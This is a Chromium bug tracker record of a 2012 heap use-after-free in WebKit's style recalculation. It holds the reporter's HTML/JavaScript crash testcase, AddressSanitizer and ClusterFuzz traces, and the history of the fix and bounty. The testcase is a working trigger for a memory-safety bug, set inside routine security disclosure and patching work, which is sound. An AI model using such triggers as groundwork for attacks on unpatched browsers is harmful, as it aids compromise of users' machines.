New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Apr 2012
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment
Heap-use-after-free in WebCore::Element::recalcStyle
Reported by miau...@gmail.com, Mar 28 2012 Back to list

VULNERABILITY DETAILS
use-after-free in WebCore::Element::recalcStyle

VERSION
Chrome Version: stable, beta, dev

Chromium	19.0.1085.0 (Developer Build 129391)
OS	Linux
WebKit	536.5 (@112327)
JavaScript	V8 3.9.24.2

Operating System: 64bit linux

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el0 {
        display: inline-table;
      }
      #el0::before {
        display: table-row-group;
      }
      #el2:nth-child(0) {
      }
      #el2 {
        display: table-column-group;
      }
    </style>
    <script>
      onload = function() {
        el0=document.createElement('q')
        el0.setAttribute('id','el0')
        document.body.appendChild(el0)
        el1=document.createElement('div')
        el0.appendChild(el1)
        el2=document.createElement('div')
        el2.setAttribute('id','el2')
        el0.appendChild(el2)
        document.designMode='on'
        document.execCommand('selectall')
        document.execCommand('FormatBlock', false, '<'+'pre>')
        document.execCommand('Undo')
        el0.insertBefore(document.createElement('td'), el1)
        document.execCommand('FormatBlock', false, '<'+'pre>')
      }
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer+asan
Crash State: 

==9112== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffe5720c88 at pc 0x55555927de5a bp 0x7fffffff49b0 sp 0x7fffffff49a8
READ of size 8 at 0x7fffe5720c88 thread T0
    #0 0x55555927de5a in WebCore::Element::recalcStyle(WebCore::Node::StyleChange) ???:0
    #1 0x55555927d718 in WebCore::Element::recalcStyle(WebCore::Node::StyleChange) ???:0

0x7fffe5720c88 is located 8 bytes inside of 104-byte region [0x7fffe5720c80,0x7fffe5720ce8)
freed by thread T0 here:
    #0 0x55555de43112 in free ??:0
    #1 0x55555ac99e72 in WebCore::RenderObjectChildList::updateBeforeAfterContent(WebCore::RenderObject*, WebCore::PseudoId, WebCore::RenderObject const*) ???:0
    #2 0x55555aa2d5ec in WebCore::RenderBlock::styleDidChange(WebCore::StyleDifference, WebCore::RenderStyle const*) ???:0




 
8104.txt
14.1 KB View Download
stable-8104.txt
13.7 KB View Download
8104.html
941 bytes View Download
beta-8104.txt
14.2 KB View Download
Summary: Heap-use-after-free in WebCore::Element::recalcStyle (was: NULL)
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=31591172

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7ffb4a32b308
Crash State:
  - crash stack -
  WebCore::Element::recalcStyle
  WebCore::Element::recalcStyle
  - free stack -
  WebCore::RenderObjectChildList::updateBeforeAfterContent
  WebCore::RenderBlock::styleDidChange
  

Minimized Testcase (0.85 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv96_QwtsGDU9JzDfv5AI0DLxTGQP9YBwk5bI_TYHW2f1sr63r3-VSP7FDTsjJB90qhxiJzJjO1i73Z1BdLTk_YOydO-i2RdtWJKeeDbSU04XumS0EABQ0rOzHXcBAJUiZ3T8kEss6pPRvf6huNYPt00L5BeK3g
<style>
      #el0 {
        display: inline-table;
      }
      #el0::before {
        display: table-row-group;
      }
      #el2:nth-child(0) {
      }
      #el2 {
        display: table-column-group;
</style>
    <script>
      onload = function() {
        el0=document.createElement('q')
        el0.setAttribute('id','el0')
        document.body.appendChild(el0)
        el1=document.createElement('div')
        el0.appendChild(el1)
        el2=document.createElement('div')
        el2.setAttribute('id','el2')
        el0.appendChild(el2)
        document.designMode='on'
        document.execCommand('selectall')
        document.execCommand('FormatBlock', false, '<'+'pre>')
        document.execCommand('Undo')
        el0.insertBefore(document.createElement('td'), el1)
        document.execCommand('FormatBlock', false, '<'+'pre>')
      }
    </script>
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-Stable SecImpacts-Beta OS-All Mstone-18 SecSeverity-High Stability-AddressSanitizer
Status: Available
Man, this bug is tough - https://bugs.webkit.org/show_bug.cgi?id=82630
Comment 4 by kareng@google.com, Mar 30 2012
Labels: -Mstone-18 Mstone-20
Comment 5 by kareng@google.com, Mar 30 2012
Labels: MovedFrom18
Labels: -Mstone-20 -MovedFrom18 Mstone-18
Reverting wrong marking of security bugs by release management.
Owner: infe...@chromium.org
Status: Started
Project Member Comment 8 by clusterf...@chromium.org, Apr 5 2012
ClusterFuzz has detected this issue as fixed in range 130617:130650.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=31591172

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7ffb4a32b308
Crash State:
  - crash stack -
  WebCore::Element::recalcStyle
  WebCore::Element::recalcStyle
  - free stack -
  WebCore::RenderObjectChildList::updateBeforeAfterContent
  WebCore::RenderBlock::styleDidChange
  
Fixed: https://cluster-fuzz.appspot.com/revisions?range=130617:130650

Minimized Testcase: https://cluster-fuzz.appspot.com/download/AMIfv96_QwtsGDU9JzDfv5AI0DLxTGQP9YBwk5bI_TYHW2f1sr63r3-VSP7FDTsjJB90qhxiJzJjO1i73Z1BdLTk_YOydO-i2RdtWJKeeDbSU04XumS0EABQ0rOzHXcBAJUiZ3T8kEss6pPRvf6huNYPt00L5BeK3g

If you suspect that the result above is incorrect, try re-doing that job on the testcase report page.
ignore last comment. Bug is not fixed. There was a v8 bug which is causing asan builds to mess up on ClusterFuzz.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
Fixed in

1. http://trac.webkit.org/changeset/113252
2. http://trac.webkit.org/changeset/113497
3. http://trac.webkit.org/changeset/113581

Project Member Comment 11 by clusterf...@chromium.org, Apr 10 2012
ClusterFuzz has detected this issue as fixed in range 131479:131513.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=31591172

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7ffb4a32b308
Crash State:
  - crash stack -
  WebCore::Element::recalcStyle
  WebCore::Element::recalcStyle
  - free stack -
  WebCore::RenderObjectChildList::updateBeforeAfterContent
  WebCore::RenderBlock::styleDidChange
  
Fixed: https://cluster-fuzz.appspot.com/revisions?range=131479:131513

Minimized Testcase: https://cluster-fuzz.appspot.com/download/AMIfv96_QwtsGDU9JzDfv5AI0DLxTGQP9YBwk5bI_TYHW2f1sr63r3-VSP7FDTsjJB90qhxiJzJjO1i73Z1BdLTk_YOydO-i2RdtWJKeeDbSU04XumS0EABQ0rOzHXcBAJUiZ3T8kEss6pPRvf6huNYPt00L5BeK3g

If you suspect that the result above is incorrect, try re-doing that job on the testcase report page.
 Issue 121861  has been merged into this issue.
Labels: -Mstone-18 Mstone-19 reward-topanel
Labels: -reward-topanel reward-1000 reward-unpaid
Awesome catch miaubiz! This bug has been very helpful to stabilize beforeChild handling in tables.
Labels: -reward-unpaid
Labels: CVE-2011-3089
Comment 18 by cdn@chromium.org, May 15 2012
Status: Fixed
Updating status to Fixed on security bugs which were fixed when m19 went to stable.
Project Member Comment 19 by bugdroid1@chromium.org, Oct 13 2012
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member Comment 20 by bugdroid1@chromium.org, Mar 10 2013
Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-High -Stability-AddressSanitizer -Mstone-19 Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High M-19 Type-Bug-Security Performance-Memory-AddressSanitizer
Project Member Comment 21 by bugdroid1@chromium.org, Mar 13 2013
Labels: Restrict-View-EditIssue
Project Member Comment 22 by bugdroid1@chromium.org, Mar 14 2013
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member Comment 24 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Severity-High Security_Severity-High
Project Member Comment 25 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member Comment 26 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member Comment 27 by bugdroid1@chromium.org, Apr 1 2013
Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member Comment 28 by bugdroid1@chromium.org, Apr 6 2013
Labels: -Cr-Content Cr-Blink
Project Member Comment 29 by sheriffbot@chromium.org, Jun 14 2016
Labels: -security_impact-beta
Project Member Comment 30 by sheriffbot@chromium.org, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 31 by sheriffbot@chromium.org, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment